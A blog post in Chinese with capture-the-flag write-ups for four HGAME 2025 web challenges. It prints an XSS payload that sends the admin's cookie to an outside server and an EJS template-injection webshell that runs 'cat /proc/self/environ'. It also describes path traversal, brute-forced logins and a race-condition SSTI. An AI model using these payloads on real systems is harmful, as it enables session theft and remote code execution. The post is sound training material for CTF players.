2025hgame_web_wp

Pacman -- WP

这是一个js前端做的游戏,该游戏的数据和代码都放在了前端。
F12工具打开

尝试去寻找游戏的结束处的代码,发现可疑字符串aGFldTRlcGNhXzR0cmdte19yX2Ftbm1zZX0=(在这之前可能会先找到一个假的flag,需注意)

进行base64解码后是:haeu4epca_4trgm{_r_amnmse}

发现有hgame的散装字样了,猜测是栅栏加密,丢到随波逐流中得出正确flag

MysteryMessageBoard --WP

首先发现一个登录界面,使用bp工具爆破即可得到账号密码

shallot
888888

发现一个留言版,根据提示+dirsearch扫描发现

/admin 路径 (不是很清楚什么作用,后续发现是触发服务器的机器人自动去查看留言板)
该处有一个留言板,可能有SQL,SSTI,XSS漏洞。尝试后发现是XSS,所以可以往留言板中插入xss,来窃取管理员的cookie信息。

首先使用阿里云搭建一个网站用来接收xss

<script>window.open("http://xxx.xxx.xxx.xxx/hack.php?1="+document.cookie)</script>!

外带cookie
再访问/admin路径,得到admin的cookie

将cookie丢到dirsearch中后,又扫到/flag。访问flag。

BandBomb --WP

审计源码的时候,发现有个/rename的路由,还有文件存放的位置是在uploads下。

/rename相应的函数
发现有目录穿越漏洞/../,进一步检查发现可以进行恶意移动文件操作

进一步探索发现不能直接修改app.js,但可以通过修改ejs文件来更改界面(就是这个网站的前端代码)

后续只需要在ejs中插入webshell

<%- global.process.mainModule.require('child_process').execSync("cat /proc/self/environ")%>

找到flag

角落 --WP

访问robots.txt找到/app.conf

根据上面提示,访问/admin/usr/local/apache2/app/app.py%3f

并在User-Agent前面加上 "L1nk/"

得到网站源码。

from flask import Flask, request, render_template, render_template_string, redirect
import os
import templates

app = Flask(__name__)
pwd = os.path.dirname(__file__)
show_msg = templates.show_msg


def readmsg():
	filename = pwd + "/tmp/message.txt"
	if os.path.exists(filename):
		f = open(filename, 'r')
		message = f.read()
		f.close()
		return message
	else:
		return 'No message now.'


@app.route('/index', methods=['GET'])
def index():
	status = request.args.get('status')
	if status is None:
		status = ''
	return render_template("index.html", status=status)


@app.route('/send', methods=['POST'])
def write_message():
	filename = pwd + "/tmp/message.txt"
	message = request.form['message']

	f = open(filename, 'w')
	f.write(message) 
	f.close()

	return redirect('index?status=Send successfully!!')
	
@app.route('/read', methods=['GET'])
def read_message():
	if "{" not in readmsg():
		show = show_msg.replace("{{message}}", readmsg())
		return render_template_string(show)
	return 'waf!!'
	

if __name__ == '__main__':
	app.run(host = '0.0.0.0', port = 5000)

发现有文件读写并且在read_message()函数中发现两次调用readmsg()函数。可能存在条件竞争。

编写python脚本通过条件竞争写入ssti

得到flag

最终脚本

posted @ 2025-02-28 14:49  ZHAOXU333  阅读(55)  评论(0)    收藏  举报